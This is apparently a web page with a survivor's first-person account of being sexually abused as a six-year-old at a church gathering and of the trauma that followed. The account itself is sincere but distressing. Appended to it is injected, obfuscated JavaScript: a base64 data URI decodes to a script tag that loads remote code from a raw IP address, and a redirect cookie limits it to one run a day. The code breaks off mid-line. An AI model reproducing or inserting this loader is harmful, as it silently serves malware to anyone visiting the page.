101 – Olivia (United States)

I am nearly 21 years old, and my story begins when I was six years old. At the time my family was attending a strict church. We had gone out into the country to a farmhouse belonging to another churchmember, along with approximately 200 other people, some of which did not actually attend the church regularly, mainly family and friends of regular attendees. This was around the fourth of July holiday (Independence Day for US citizens) and I had been playing with my friends when a 16 or 17 year old boy who sometimes came for Sunday School started talking to me. He began to wrestle with me, and called me “pet names” while trying to grab my thighs. I was confused and thought he must be playing with me. My parents, while not at all at fault, simply had failed to teach me about boundaries and no go zones on your body. Before long, he had isolated me behind a small tree and wrapped his legs around me, rubbing his hand down my thighs, crotch and pelvis, murmuring that I was his “special fourth of july christmas present”. I tried to get away but he told me I still needed to play some more. He took me into an old barn away from the picnickers, and I remember him unzipping his pants and putting his hands on my thighs. It begins to get fuzzy, but I remember a lot of pain and confusion. I began having seviere nighmares at age 10, and they escalated further when I was 12. I blocked it out, and it came back in the form of angry, relentless nightmares that traumatized me. I can not even get a pap smear without being driven to tears. I’m just trying to heal. I have only told my closest friends. Sometimes I wonder how many victims came after me. I know only his first name, and for me, the statute of limitations has run out. I never told my parents, and I live with the pain every day. I just want to help others, but I know my healing must come first, or I risk damaging myself and others even more. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘